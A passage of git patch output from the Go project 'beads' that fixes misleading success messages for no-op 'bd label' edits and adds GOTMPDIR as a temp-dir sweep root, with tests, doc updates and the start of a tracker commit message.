28/28 green under BEADS_TEST_EMBEDDED_DOLT=1 (57s), go vet -tags "regression discovery" ./tests/regression/... clean, go vet ./cmd/bd/ clean, gofmt clean, git diff --check clean. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5.5 (1M context) Co-authored-by: Julian Knutsen --- CHANGELOG.md | 10 ++ cmd/bd/label.go | 128 +++++++++++++++++++---- cmd/bd/label_embedded_test.go | 123 ++++++++++++++++++++++ cmd/bd/label_proxied_integration_test.go | 34 ++++++ tests/regression/DISCOVERY.md | 6 +- tests/regression/discovery_test.go | 82 +++++++++------ 6 files changed, 333 insertions(+), 50 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index edf3746fd..4fa31bb90 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -211,6 +211,16 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 instead of the message followed by `Error: exit code 1` and the full usage text. Exit statuses are unchanged; this applies on every topology. +- **`bd label remove` and `bd label add` no longer claim a no-op edit** + ([#5988](https://github.com/gastownhall/beads/issues/5988)). Removing a + label the issue never had printed `✓ Removed label 'x' from `, and + adding one it already had printed `✓ Added label`, so a real edit could not + be told from a no-op. Such a label is now reported as + `• Label 'x' was not on ` / `• already has label 'x'`, with JSON + status `unchanged` instead of `removed`/`added`; a multi-label edit reports + each label by what actually happened to it. The exit code is still 0, so + idempotent callers are unaffected. + - **Proxied `--repo` and row-cap refusals are typed again** ([#6293](https://github.com/gastownhall/beads/pull/6293)). `bd create --repo` under `--proxied-server` answers `--json` with the stable diff --git a/cmd/bd/label.go b/cmd/bd/label.go index 6e76c5646..86af49bc9 100644 --- a/cmd/bd/label.go +++ b/cmd/bd/label.go @@ -127,12 +127,48 @@ func applyLabelEdit(ctx context.Context, issueIDs []string, labels []string, ope } else { patch.Labels.Add = labels } + // WHICH LABELS ACTUALLY MOVED is what the report has to say (GH#5988). + // UpdateResult.Changed is one flag per issue, which answers it exactly + // for a single label; a multi-label edit that changed something also + // needs the pre-edit set to tell its moved labels from its no-ops, so + // only that case pays for a read. + // + // THAT PRE-EDIT SET IS READ OUTSIDE THE WRITE TRANSACTION, so per-label + // attribution on the multi-label path is best-effort: a concurrent edit + // landing between the read and the Update can misattribute one label's + // line. What it cannot do is write the wrong thing — the target set is + // recomputed from current.Labels inside the write transaction + // (issueops.ApplyLabelPatch), so the stored labels, the JSON shape and + // the exit code stay correct and the state converges. A single-label + // edit is immune by construction, deriving its outcome from the write's + // own transaction. The batch shape named above closes the window + // structurally by collapsing the read and the write into one + // transaction; it is not worth a second read protocol before then. + var reader issueops.Reader + if len(labels) > 1 { + if reader, err = openIssueReader(); err != nil { + return HandleErrorRespectJSON("%v", err) + } + } + outcomes := make([]labelEditOutcome, 0, len(issueIDs)) for _, issueID := range issueIDs { - if _, uerr := lifecycle.Update(ctx, issueops.UpdateRequest{ + var before map[string]bool + if reader != nil { + details, gerr := reader.Get(ctx, issueops.GetRequest{ID: issueID}) + if gerr != nil { + return HandleErrorRespectJSON("label %s: reading labels on %s: %v", operation, issueID, gerr) + } + before = make(map[string]bool, len(details.Labels)) + for _, label := range details.Labels { + before[label] = true + } + } + result, uerr := lifecycle.Update(ctx, issueops.UpdateRequest{ Actor: actor, IssueID: issueID, Patch: patch, - }); uerr != nil { + }) + if uerr != nil { return HandleErrorRespectJSON("label %s: %s label '%s' on %s: %v", operation, operation, strings.Join(labels, "', '"), issueID, uerr) } @@ -140,29 +176,60 @@ func applyLabelEdit(ctx context.Context, issueIDs []string, labels []string, ope // call at a time, so a request that failed on its third id has still // written its first two and the deferred commit has to know about them. commandDidWrite.Store(true) + outcome := labelEditOutcome{issueID: issueID, changed: make([]bool, len(labels))} + for i, label := range labels { + switch { + case !result.Changed: + // The role wrote nothing, so no label of this edit moved. + case before == nil: + outcome.changed[i] = true + case operation == labelOperationRemoved: + outcome.changed[i] = before[label] + default: + outcome.changed[i] = !before[label] + } + } + outcomes = append(outcomes, outcome) } - return reportLabelEdit(issueIDs, labels, operation, jsonOutput) + return reportLabelEdit(outcomes, labels, operation, jsonOutput) } // The two label edits this command performs, spelled once. They are the words // the JSON "status" member and the human line both carry, so they are constants -// rather than two string literals that have to agree. +// rather than two string literals that have to agree. labelStatusUnchanged is +// the status of a label the edit left as it was: an add of a label the issue +// already had, or a remove of one it never had. const ( labelOperationAdded = "added" labelOperationRemoved = "removed" + labelStatusUnchanged = "unchanged" ) +// labelEditOutcome is what one issue's edit did: changed[i] reports whether +// the edit's i-th label actually moved. +type labelEditOutcome struct { + issueID string + changed []bool +} + // reportLabelEdit prints what landed, in the shape both routes have always // printed it: one JSON row per (issue, label) pair, or one human line per issue -// naming every label at once. -func reportLabelEdit(issueIDs []string, labels []string, operation string, jsonOut bool) error { +// naming every label that moved. A label the edit left as it was is reported +// as such — status "unchanged", and a line of its own — rather than as the +// operation, so a no-op cannot be read as a confirmation (GH#5988). It is +// still not an error: the exit code stays 0 so idempotent callers keep working. +func reportLabelEdit(outcomes []labelEditOutcome, labels []string, operation string, jsonOut bool) error { if jsonOut { - results := make([]map[string]interface{}, 0, len(issueIDs)*len(labels)) - for _, issueID := range issueIDs { - for _, label := range labels { + results := make([]map[string]interface{}, 0, len(outcomes)*len(labels)) + for _, outcome := range outcomes { + for i, label := range labels { + status := operation + if !outcome.changed[i] { + status = labelStatusUnchanged + } results = append(results, map[string]interface{}{ - "status": operation, - "issue_id": issueID, + "status": status, + "issue_id": outcome.issueID, "label": label, }) } @@ -173,17 +240,42 @@ func reportLabelEdit(issueIDs []string, labels []string, operation string, jsonO if operation == labelOperationRemoved { verb, prep = "Removed", "from" } - noun := "label" - if len(labels) > 1 { - noun = "labels" - } - labelDesc := strings.Join(labels, "', '") - for _, issueID := range issueIDs { - fmt.Printf("%s %s %s '%s' %s %s\n", ui.RenderPass("✓"), verb, noun, labelDesc, prep, issueID) + for _, outcome := range outcomes { + var moved, unmoved []string + for i, label := range labels { + if outcome.changed[i] { + moved = append(moved, label) + } else { + unmoved = append(unmoved, label) + } + } + if len(moved) > 0 { + fmt.Printf("%s %s %s '%s' %s %s\n", ui.RenderPass("✓"), verb, + labelNoun(moved, "label", "labels"), strings.Join(moved, "', '"), prep, outcome.issueID) + } + if len(unmoved) == 0 { + continue + } + unmovedDesc := strings.Join(unmoved, "', '") + if operation == labelOperationRemoved { + fmt.Printf("%s %s '%s' %s not on %s\n", ui.RenderAccent("•"), + labelNoun(unmoved, "Label", "Labels"), unmovedDesc, labelNoun(unmoved, "was", "were"), outcome.issueID) + } else { + fmt.Printf("%s %s already has %s '%s'\n", ui.RenderAccent("•"), + outcome.issueID, labelNoun(unmoved, "label", "labels"), unmovedDesc) + } } return nil } +// labelNoun picks the singular or plural word for a list of labels. +func labelNoun(labels []string, singular, plural string) string { + if len(labels) > 1 { + return plural + } + return singular +} + // parseLabelArgs splits positional args into issue IDs and labels. The final // arg is the label spec; commas separate multiple labels ("label1,label2"). func parseLabelArgs(args []string) (issueIDs []string, labels []string) { diff --git a/cmd/bd/label_embedded_test.go b/cmd/bd/label_embedded_test.go index 9f8b52aeb..8f91d5acf 100644 --- a/cmd/bd/label_embedded_test.go +++ b/cmd/bd/label_embedded_test.go @@ -40,6 +40,21 @@ func bdLabelJSONOutput(t *testing.T, bd, dir string, args ...string) string { return stdout.String() } +// bdLabelEditJSON runs "bd label ... --json" and returns its result rows. +func bdLabelEditJSON(t *testing.T, bd, dir, op string, args ...string) []map[string]interface{} { + t.Helper() + s := strings.TrimSpace(bdLabelJSONOutput(t, bd, dir, append(append([]string{op}, args...), "--json")...)) + start := strings.Index(s, "[") + if start < 0 { + t.Fatalf("no JSON array in label %s output: %s", op, s) + } + var rows []map[string]interface{} + if err := json.Unmarshal([]byte(s[start:]), &rows); err != nil { + t.Fatalf("parse label %s JSON: %v\nstdout: %s", op, err, s) + } + return rows +} + // bdLabelFail runs "bd label" expecting failure. func bdLabelFail(t *testing.T, bd, dir string, args ...string) string { t.Helper() @@ -245,6 +260,114 @@ func TestEmbeddedLabel(t *testing.T) { } }) + // ===== No-op edits (GH#5988) ===== + // + // A label edit that leaves the set as it was used to print the same + // "✓ Removed"/"✓ Added" line and JSON status as a real one. It still exits + // 0 (bdLabel fails the test otherwise), but it now says so. + + t.Run("label_remove_absent_reports_noop", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Remove absent", "--type", "task", "--label", "present") + out := bdLabel(t, bd, dir, "remove", issue.ID, "never-applied") + if strings.Contains(out, "Removed") { + t.Errorf("remove of an absent label claimed a removal: %s", out) + } + if want := "Label 'never-applied' was not on " + issue.ID; !strings.Contains(out, want) { + t.Errorf("expected %q in output: %s", want, out) + } + rows := bdLabelEditJSON(t, bd, dir, "remove", issue.ID, "never-applied") + if len(rows) != 1 || rows[0]["status"] != "unchanged" || rows[0]["label"] != "never-applied" || rows[0]["issue_id"] != issue.ID { + t.Errorf("remove of an absent label JSON = %v, want one unchanged row", rows) + } + }) + + t.Run("label_add_present_reports_noop", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Add present", "--type", "task", "--label", "present") + out := bdLabel(t, bd, dir, "add", issue.ID, "present") + if strings.Contains(out, "Added") { + t.Errorf("add of a present label claimed an addition: %s", out) + } + if want := issue.ID + " already has label 'present'"; !strings.Contains(out, want) { + t.Errorf("expected %q in output: %s", want, out) + } + rows := bdLabelEditJSON(t, bd, dir, "add", issue.ID, "present") + if len(rows) != 1 || rows[0]["status"] != "unchanged" || rows[0]["label"] != "present" || rows[0]["issue_id"] != issue.ID { + t.Errorf("add of a present label JSON = %v, want one unchanged row", rows) + } + }) + + t.Run("label_edit_real_change_still_reported", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Real edit", "--type", "task") + if rows := bdLabelEditJSON(t, bd, dir, "add", issue.ID, "real"); len(rows) != 1 || rows[0]["status"] != "added" { + t.Errorf("real add JSON = %v, want one added row", rows) + } + if rows := bdLabelEditJSON(t, bd, dir, "remove", issue.ID, "real"); len(rows) != 1 || rows[0]["status"] != "removed" { + t.Errorf("real remove JSON = %v, want one removed row", rows) + } + if out := bdLabel(t, bd, dir, "add", issue.ID, "real"); !strings.Contains(out, "Added label 'real' to "+issue.ID) { + t.Errorf("real add text = %s", out) + } + if out := bdLabel(t, bd, dir, "remove", issue.ID, "real"); !strings.Contains(out, "Removed label 'real' from "+issue.ID) { + t.Errorf("real remove text = %s", out) + } + }) + + t.Run("label_edit_mixed_reports_each_label", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Mixed edit", "--type", "task", "--label", "have") + out := bdLabel(t, bd, dir, "add", issue.ID, "have,fresh") + if !strings.Contains(out, "Added label 'fresh' to "+issue.ID) || !strings.Contains(out, issue.ID+" already has label 'have'") { + t.Errorf("mixed add text = %s", out) + } + rows := bdLabelEditJSON(t, bd, dir, "remove", issue.ID, "have,ghost") + got := map[interface{}]interface{}{} + for _, r := range rows { + got[r["label"]] = r["status"] + } + if len(rows) != 2 || got["have"] != "removed" || got["ghost"] != "unchanged" { + t.Errorf("mixed remove JSON = %v, want have=removed ghost=unchanged", rows) + } + }) + + // One label, two issues, only one of which has it: the divergence is + // BETWEEN the issues, so this pins the per-issue derivation the way + // label_edit_mixed_reports_each_label pins the per-label one. The outcome + // is built inside the id loop from that id's own UpdateResult, and a + // refactor that hoisted it out — or reused the last result for every id — + // would print one identical line per issue again, which is what the + // pre-GH#5988 code did. Every other subtest here edits a single issue and + // so would pass such a refactor. + t.Run("label_edit_divergent_multi_issue", func(t *testing.T) { + fresh := bdCreate(t, bd, dir, "Divergent JSON fresh", "--type", "task") + holder := bdCreate(t, bd, dir, "Divergent JSON holder", "--type", "task", "--label", "shared") + rows := bdLabelEditJSON(t, bd, dir, "add", fresh.ID, holder.ID, "shared") + got := map[interface{}]interface{}{} + for _, r := range rows { + if r["label"] != "shared" { + t.Errorf("unexpected label in row %v", r) + } + got[r["issue_id"]] = r["status"] + } + if len(rows) != 2 || got[fresh.ID] != "added" || got[holder.ID] != "unchanged" { + t.Errorf("divergent multi-issue add JSON = %v, want %s=added %s=unchanged", + rows, fresh.ID, holder.ID) + } + + // Same shape in the text report: one line per issue, each naming its + // own id, and the no-op issue must not be claimed as an edit. + freshText := bdCreate(t, bd, dir, "Divergent text fresh", "--type", "task") + holderText := bdCreate(t, bd, dir, "Divergent text holder", "--type", "task", "--label", "shared") + out := bdLabel(t, bd, dir, "add", freshText.ID, holderText.ID, "shared") + if want := "Added label 'shared' to " + freshText.ID; !strings.Contains(out, want) { + t.Errorf("expected %q in output: %s", want, out) + } + if want := holderText.ID + " already has label 'shared'"; !strings.Contains(out, want) { + t.Errorf("expected %q in output: %s", want, out) + } + if claim := "Added label 'shared' to " + holderText.ID; strings.Contains(out, claim) { + t.Errorf("add claimed an edit on the issue that already had the label: %s", out) + } + }) + // ===== Label List ===== t.Run("label_list", func(t *testing.T) { diff --git a/cmd/bd/label_proxied_integration_test.go b/cmd/bd/label_proxied_integration_test.go index ffdd460d8..b85bdf156 100644 --- a/cmd/bd/label_proxied_integration_test.go +++ b/cmd/bd/label_proxied_integration_test.go @@ -243,6 +243,40 @@ func TestProxiedServerLabel(t *testing.T) { } }) + // GH#5988: a no-op edit reports itself on this route exactly as on the + // direct one, text and JSON, and still exits 0. + t.Run("noop_edit_reports_unchanged", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "no") + issue := bdProxiedCreate(t, bd, p.dir, "No-op label") + bdProxiedLabel(t, bd, p.dir, "add", issue.ID, "have") + + if out := bdProxiedLabel(t, bd, p.dir, "remove", issue.ID, "never"); !strings.Contains(out, "Label 'never' was not on "+issue.ID) { + t.Errorf("remove of an absent label text = %s", out) + } + if out := bdProxiedLabel(t, bd, p.dir, "add", issue.ID, "have"); !strings.Contains(out, issue.ID+" already has label 'have'") { + t.Errorf("add of a present label text = %s", out) + } + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "label", "remove", issue.ID, "have,never", "--json") + if err != nil { + t.Fatalf("label remove --json failed: %v\nstderr:\n%s", err, stderr) + } + start := strings.Index(stdout, "[") + if start < 0 { + t.Fatalf("no JSON array in remove output:\n%s", stdout) + } + var rows []struct { + Status string `json:"status"` + Label string `json:"label"` + } + if err := json.Unmarshal([]byte(stdout[start:]), &rows); err != nil { + t.Fatalf("parse remove JSON: %v\nraw: %s", err, stdout[start:]) + } + if len(rows) != 2 || rows[0].Label != "have" || rows[0].Status != "removed" || rows[1].Label != "never" || rows[1].Status != "unchanged" { + t.Fatalf("mixed remove rows = %+v, want have=removed never=unchanged", rows) + } + }) + t.Run("remove_comma_separated_multi", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "rm") diff --git a/tests/regression/DISCOVERY.md b/tests/regression/DISCOVERY.md index 98952784b..b60f2eca9 100644 --- a/tests/regression/DISCOVERY.md +++ b/tests/regression/DISCOVERY.md @@ -96,8 +96,8 @@ actionable — some are by-design tradeoffs. The audit column tracks triage. | BUG-67 | **PROTOCOL** | PASS (correct) | — | | BUG-68 | **PROTOCOL** | PASS (correct) | — | | BUG-69 | **BUG** | OPEN (not PR'd yet) | — | -| BUG-70 | **BUG** | OPEN (not PR'd yet) | — | -| BUG-71 | **BUG** | OPEN (not PR'd yet) | — | +| BUG-70 | **FIX PR** | **PR OPEN** | PR #6742 | +| BUG-71 | **FIX PR** | **PR OPEN** | PR #6742 | | BUG-72 | **PROTOCOL** | PASS (correct) | — | ### Shipped fix PRs (all include protocol tests) @@ -1169,6 +1169,7 @@ exist." Same class of bug as BUG-59 (children nonexistent parent). ### BUG-70: `bd label remove` on nonexistent label reports success (NEW — session 8c) **Severity: LOW** — False positive confirmation (same class as BUG-42) +**Status: FIXED — PR #6742** (GH#5988) **Discovered:** Session 8c discovery, test **File:** `cmd/bd/label.go` (no existence check before remove) **Test:** `TestDiscovery_LabelRemoveNonexistentSilentSuccess` @@ -1181,6 +1182,7 @@ was never on the issue. Same pattern as BUG-42 (dep rm nonexistent says "Removed ### BUG-71: `bd label add` duplicate reports "Added" when already exists (NEW — session 8c) **Severity: LOW** — Misleading success message +**Status: FIXED — PR #6742** (GH#5988) **Discovered:** Session 8c discovery, test **File:** `cmd/bd/label.go:99-102` (no existence check before add) **Test:** `TestDiscovery_LabelAddDuplicateReportsAdded` diff --git a/tests/regression/discovery_test.go b/tests/regression/discovery_test.go index ce1d32146..8c3a3b936 100644 --- a/tests/regression/discovery_test.go +++ b/tests/regression/discovery_test.go @@ -2784,8 +2784,18 @@ func TestDiscovery_BlockedNonexistentParentSilentEmpty(t *testing.T) { } // TestDiscovery_LabelRemoveNonexistentSilentSuccess verifies that -// bd label remove reports success. -// BUG-65: Same pattern as BUG-42 (dep rm nonexistent says "Removed"). +// bd label remove does not claim a removal. +// +// FIXED (PR #6742, GH#5988): the command used to print "✓ Removed label" +// for a label the issue never had. It now reports the no-op ("Label 'x' was +// not on ") and still exits 0, since a no-op edit is not an error. This +// test's assertions describe the fixed behavior and stay as a discovery-suite +// regression check — this file is `//go:build regression && discovery` and no +// CI lane passes the discovery tag, so the CI lock for the fix is +// TestEmbeddedLabel/TestProxiedServerLabel in cmd/bd, not this test. Same +// class as BUG-42 (dep rm nonexistent says "Removed"). +// +// Classification: BUG (fixed) — false positive confirmation. func TestDiscovery_LabelRemoveNonexistentSilentSuccess(t *testing.T) { w := newCandidateWorkspace(t) @@ -2799,23 +2809,35 @@ func TestDiscovery_LabelRemoveNonexistentSilentSuccess(t *testing.T) { t.Fatalf("expected 1 label, got %d", len(labels)) } - // Bug: removing a nonexistent label should error, not report success - _, err := w.tryRun("label", "remove", a, "never-existed-label") - if err == nil { - // Command succeeded — verify the real label is still there - data = parseJSON(t, w.run("show", a, "--json")) - labels, _ = data[0]["labels"].([]any) - if len(labels) == 1 { - t.Errorf("DISCOVERY: bd label remove %s 'never-existed-label' reported success — "+ - "label didn't exist. Same pattern as BUG-42 (dep rm false positive). "+ - "File: cmd/bd/label.go (no existence check before remove).", a) - } + out, err := w.tryRun("label", "remove", a, "never-existed-label") + if err != nil { + t.Fatalf("bd label remove of an absent label should still exit 0: %v\n%s", err, out) + } + if strings.Contains(out, "Removed") { + t.Errorf("DISCOVERY: bd label remove %s 'never-existed-label' claimed a removal — "+ + "the label was never on the issue. File: cmd/bd/label.go.\n%s", a, out) + } + if !strings.Contains(out, "was not on") { + t.Errorf("bd label remove of an absent label should say so, got:\n%s", out) + } + data = parseJSON(t, w.run("show", a, "--json")) + labels, _ = data[0]["labels"].([]any) + if len(labels) != 1 { + t.Errorf("the real label should be untouched, got %d labels", len(labels)) } } // TestDiscovery_LabelAddDuplicateReportsAdded verifies that adding an -// already-existing label reports "Added" even though it's a no-op. -// BUG-66: label.go doesn't check if label already exists before adding. +// already-existing label does not report "Added". +// +// FIXED (PR #6742, GH#5988): the command used to print "✓ Added label" for a +// label the issue already had. The storage layer was always idempotent (no +// duplicate row); the message now says " already has label 'x'" and the +// command still exits 0. Like the test above this stays as a discovery-suite +// regression check and is not a CI gate; the CI lock is +// TestEmbeddedLabel/TestProxiedServerLabel in cmd/bd. +// +// Classification: BUG (fixed) — misleading success message. func TestDiscovery_LabelAddDuplicateReportsAdded(t *testing.T) { w := newCandidateWorkspace(t) @@ -2829,21 +2851,21 @@ func TestDiscovery_LabelAddDuplicateReportsAdded(t *testing.T) { t.Fatalf("expected 1 label, got %d", len(labels)) } - // Bug: adding the same label again should either warn or be rejected - _, err := w.tryRun("label", "add", a, "my-label") - if err == nil { - // Succeeded — check if the label count changed (duplicate created?) - data = parseJSON(t, w.run("show", a, "--json")) - labels, _ = data[0]["labels"].([]any) - if len(labels) == 1 { - // Idempotent (correct at storage level) but misleading "Added" message - t.Errorf("DISCOVERY: bd label add %s 'my-label' reported 'Added' when label already existed — "+ - "idempotent no-op but misleading success message. Should warn 'label already exists'. "+ - "File: cmd/bd/label.go:99-102.", a) - } else if len(labels) > 1 { - t.Errorf("DISCOVERY: bd label add %s 'my-label' created DUPLICATE label — "+ - "now has %d copies. File: cmd/bd/label.go.", a, len(labels)) - } + out, err := w.tryRun("label", "add", a, "my-label") + if err != nil { + t.Fatalf("bd label add of a present label should still exit 0: %v\n%s", err, out) + } + if strings.Contains(out, "Added") { + t.Errorf("DISCOVERY: bd label add %s 'my-label' reported 'Added' when the label already existed. "+ + "File: cmd/bd/label.go.\n%s", a, out) + } + if !strings.Contains(out, "already has label") { + t.Errorf("bd label add of a present label should say so, got:\n%s", out) + } + data = parseJSON(t, w.run("show", a, "--json")) + labels, _ = data[0]["labels"].([]any) + if len(labels) != 1 { + t.Errorf("bd label add %s 'my-label' created a DUPLICATE label — now has %d copies", a, len(labels)) } } From 3b2b476e1b8959a2062bafbf26e7f42103ade3bf Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sat, 26 Sep 2026 04:30:59 -0700 Subject: [PATCH 084/624] fix(doltserver): recognize GOTMPDIR as a temp-dir sweep root (Go 1.26+) (#6733) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(feat): red — Fix: tempDirRoots() omits GOTMPDIR, where Go 1.26+ roots t.TempDir() (be-35sef gate failure) (refs be-qeuzy) * feat: green — Fix: tempDirRoots() omits GOTMPDIR, where Go 1.26+ roots t.TempDir() (be-35sef gate failure) (refs be-qeuzy) * docs(doltserver): correct the GOTMPDIR doc comments (maintainer review fixup) Adoption review of PR #6733 found the new doc comment's "a host whose go tooling pins GOTMPDIR to a disk path" is false for the `go env -w` shape -- `go env -w GOTMPDIR` writes the go env config file, which cmd/go does not put into the test binary's environment, so it reaches neither testing.T.TempDir nor tempDirRoots(); both read the process environment. Measured on a `go env -w` host: `go env GOTMPDIR` -> /data/tmp/go-tmp, but os.Getenv("GOTMPDIR") inside `go test` -> "". A maintainer trusting the old wording would mis-diagnose the next stranded deleted-cwd arm on such a box, where this change is a no-op. - sweep.go, sweep_test.go: say a host that EXPORTS GOTMPDIR, and state that `go env -w` alone does not reach either reader. The claim was asserted at both sites; the review cited only sweep.go. - sweep_test.go: note that only "GOTMPDIR outside TMPDIR is covered" discriminates this change -- the unset and four drop cases are regression guards on isCredibleTempRoot, not pins on the new root. - testutil/suite_temp.go: "Go 1.24+" -> "Go 1.26+". Pre-existing and untouched by this PR, but it contradicted the correct version this PR writes, about the one mechanism this PR exists to handle. Verified across cached toolchains: GOTMPDIR is absent from src/testing/testing.go through go1.25.9 and present from go1.26.0. Comment-only; no behavior change. os.Getenv remains the correct lookup precisely because it mirrors testing.go's. --------- Co-authored-by: Julian Knutsen --- internal/doltserver/sweep.go | 25 +++++++++--- internal/doltserver/sweep_test.go | 66 +++++++++++++++++++++++++++++++ internal/testutil/suite_temp.go | 2 +- 3 files changed, 86 insertions(+), 7 deletions(-) diff --git a/internal/doltserver/sweep.go b/internal/doltserver/sweep.go index 9c7d5663d..2b69e08bd 100644 --- a/internal/doltserver/sweep.go +++ b/internal/doltserver/sweep.go @@ -129,20 +129,33 @@ func selectServers(candidates []serverCandidate, want func(serverCandidate) bool // tempDirRoots is the set of directories under which a deleted working // directory is credible evidence of leaked TEST debris rather than a moved // production workspace: the process temp dir (honoring TMPDIR, which the -// suites pin to their own root) and /tmp, which os.MkdirTemp uses when TMPDIR -// is unset and which several suites hardcode. +// suites pin to their own root), GOTMPDIR, and /tmp, which os.MkdirTemp uses +// when TMPDIR is unset and which several suites hardcode. +// +// GOTMPDIR is where testing.T.TempDir roots every test's directories when it +// is set (Go 1.26+), independently of TMPDIR, while os.TempDir() reads TMPDIR +// alone. A host that EXPORTS GOTMPDIR as a disk path and leaves TMPDIR unset +// puts every t.TempDir() — and every test server's data dir under it — +// outside both os.TempDir() and /tmp (TestTempDirRootsCoverGOTMPDIR). +// +// Exported is the operative word: `go env -w GOTMPDIR` writes the go env +// config file, which cmd/go consumes for its own build work dir and does not +// put into the test binary's environment. It therefore reaches neither +// testing.T.TempDir nor this function, both of which read the PROCESS +// environment — which is also why os.Getenv below is the right lookup: it is +// byte-for-byte the one testing.T.TempDir performs. // // Roots too broad to be evidence of anything are dropped — see -// isCredibleTempRoot. TMPDIR is an environment variable, so "/" or a home -// directory can land here, and a root that broad would restore exactly the -// unbounded deleted-cwd arm this bound exists to remove. +// isCredibleTempRoot. TMPDIR and GOTMPDIR are environment variables, so "/" +// or a home directory can land here, and a root that broad would restore +// exactly the unbounded deleted-cwd arm this bound exists to remove. func tempDirRoots() []string { home, err := os.UserHomeDir() if err != nil { home = "" } var roots []string - for _, root := range canonicalRoots([]string{os.TempDir(), "/tmp"}) { + for _, root := range canonicalRoots([]string{os.TempDir(), os.Getenv("GOTMPDIR"), "/tmp"}) { if !isCredibleTempRoot(root, home) { continue } diff --git a/internal/doltserver/sweep_test.go b/internal/doltserver/sweep_test.go index 4865ceee1..c7888bf4c 100644 --- a/internal/doltserver/sweep_test.go +++ b/internal/doltserver/sweep_test.go @@ -470,6 +470,72 @@ func TestTempDirRootsRejectsOverbroadTMPDIR(t *testing.T) { }) } +// TestTempDirRootsCoverGOTMPDIR pins the deleted-cwd bound to where Go puts a +// test's temp dirs. Since Go 1.26, testing.T.TempDir creates them under +// GOTMPDIR when it is set, whatever TMPDIR says, while os.TempDir() still +// reads TMPDIR alone. A host that EXPORTS GOTMPDIR as a disk path and leaves +// TMPDIR unset therefore puts every t.TempDir() outside both os.TempDir() and +// /tmp, and unless GOTMPDIR is itself a root the arm can never fire there. +// (`go env -w GOTMPDIR` does not produce that shape: cmd/go keeps the config +// value out of the test binary's environment, so testing.T.TempDir ignores it +// too.) GOTMPDIR is as much an environment variable as TMPDIR, so it gets the +// same bound on the bound. +// +// Only "GOTMPDIR outside TMPDIR is covered" discriminates this change: the +// unset case and the four drop cases pass against the old tempDirRoots() as +// well, and guard isCredibleTempRoot against a future widening rather than +// pinning the new root. +func TestTempDirRootsCoverGOTMPDIR(t *testing.T) { + const home = "/home/beads-fixture" + const gotmp = "/var/tmp/gotmp" + t.Setenv("HOME", home) + // Empty TMPDIR sends os.TempDir() to /tmp: the shape that strands a + // GOTMPDIR-rooted t.TempDir() outside every TMPDIR-derived root. + t.Setenv("TMPDIR", "") + + t.Run("GOTMPDIR outside TMPDIR is covered", func(t *testing.T) { + t.Setenv("GOTMPDIR", gotmp) + roots := tempDirRoots() + if !underAnyRoot(filepath.Join(gotmp, "TestSomething1234", "001", ".beads", "dolt"), roots) { + t.Errorf("tempDirRoots() = %v with GOTMPDIR=%s, want GOTMPDIR covered", roots, gotmp) + } + if !underAnyRoot("/tmp/beads-bd-tests-xyz/.beads/dolt", roots) { + t.Errorf("tempDirRoots() = %v, want /tmp still covered", roots) + } + }) + + t.Run("unset GOTMPDIR adds no root", func(t *testing.T) { + t.Setenv("GOTMPDIR", "") + roots := tempDirRoots() + if underAnyRoot(filepath.Join(gotmp, "TestSomething1234", "001", ".beads", "dolt"), roots) { + t.Errorf("tempDirRoots() = %v covers %s with GOTMPDIR unset", roots, gotmp) + } + }) + + for _, tc := range []struct{ name, gotmpdir string }{ + {"GOTMPDIR=/ is dropped", "/"}, + {"GOTMPDIR=$HOME is dropped", home}, + {"GOTMPDIR containing HOME is dropped", "/home"}, + {"relative GOTMPDIR is dropped", "gotmp"}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Setenv("GOTMPDIR", tc.gotmpdir) + roots := tempDirRoots() + if underAnyRoot(filepath.Join(home, "project", ".beads", "dolt"), roots) { + t.Errorf("tempDirRoots() = %v with GOTMPDIR=%q covers a workspace under the home directory", roots, tc.gotmpdir) + } + for _, root := range roots { + if !filepath.IsAbs(root) || filepath.Clean(root) == string(filepath.Separator) { + t.Errorf("tempDirRoots() = %v with GOTMPDIR=%q, want no relative or filesystem-root entry", roots, tc.gotmpdir) + } + } + if !underAnyRoot("/tmp/beads-bd-tests-xyz/.beads/dolt", roots) { + t.Errorf("tempDirRoots() = %v with GOTMPDIR=%q, want /tmp still covered", roots, tc.gotmpdir) + } + }) + } +} + // TestIsCredibleTempRoot tables the predicate directly, including the shapes // no environment on this box can produce. func TestIsCredibleTempRoot(t *testing.T) { diff --git a/internal/testutil/suite_temp.go b/internal/testutil/suite_temp.go index 53b1860b4..e121cbd9f 100644 --- a/internal/testutil/suite_temp.go +++ b/internal/testutil/suite_temp.go @@ -7,7 +7,7 @@ import ( ) // PinSuiteTempRoot creates a suite-owned temp directory and points -// GOTMPDIR, TMPDIR, TMP, and TEMP at it so testing.T.TempDir (Go 1.24+ +// GOTMPDIR, TMPDIR, TMP, and TEMP at it so testing.T.TempDir (Go 1.26+ // uses GOTMPDIR) and os.MkdirTemp land under a root // SweepSuiteTestServers can reap. // From 14add8116f5d3d21fce6376bd0b35f9a21c483cc Mon Sep 17 00:00:00 2001 From: Shun Kakinoki <39187513+shunkakinoki@users.noreply.github.com> Date: Sat, 26 Sep 2026 19:44:52 +0800 Subject: [PATCH 085/624] fix(tracker): skip re-adding dependency edges that already exist on pull (#6734) * fix(tracker): skip re-adding dependency edges that already exist on pull createDependencies called AddDependency for every resolved tracker relation on every pull, including edges already stored with the same type. Each same-type re-add still runs the hierarchy and cycle checks, rewrites the edge metadata to {}, records a dep_add journal event and commits, so a steady-state full pull rewrites the whole imported graph. Check the stored edge with the existing dependencyExists helper (already used by the dry-run preview) and only call AddDependency for new edges. Edges with a different stored type still go through AddDependency so type conflicts are reported as before. * test(tracker): observe the metadata loss and the redundant re-add in one run Maintainer review fixups for #6734. The review found no blocker and no major; this is the one minor both reviewers agreed was worth folding in, and it is test-only -- internal/tracker/engine.go is untouched. TestEngineCreateDependenciesSkipsExistingEdges asserted the spy call count with t.Fatalf *before* the metadata check, so on base the test died on the call-count line and never reached 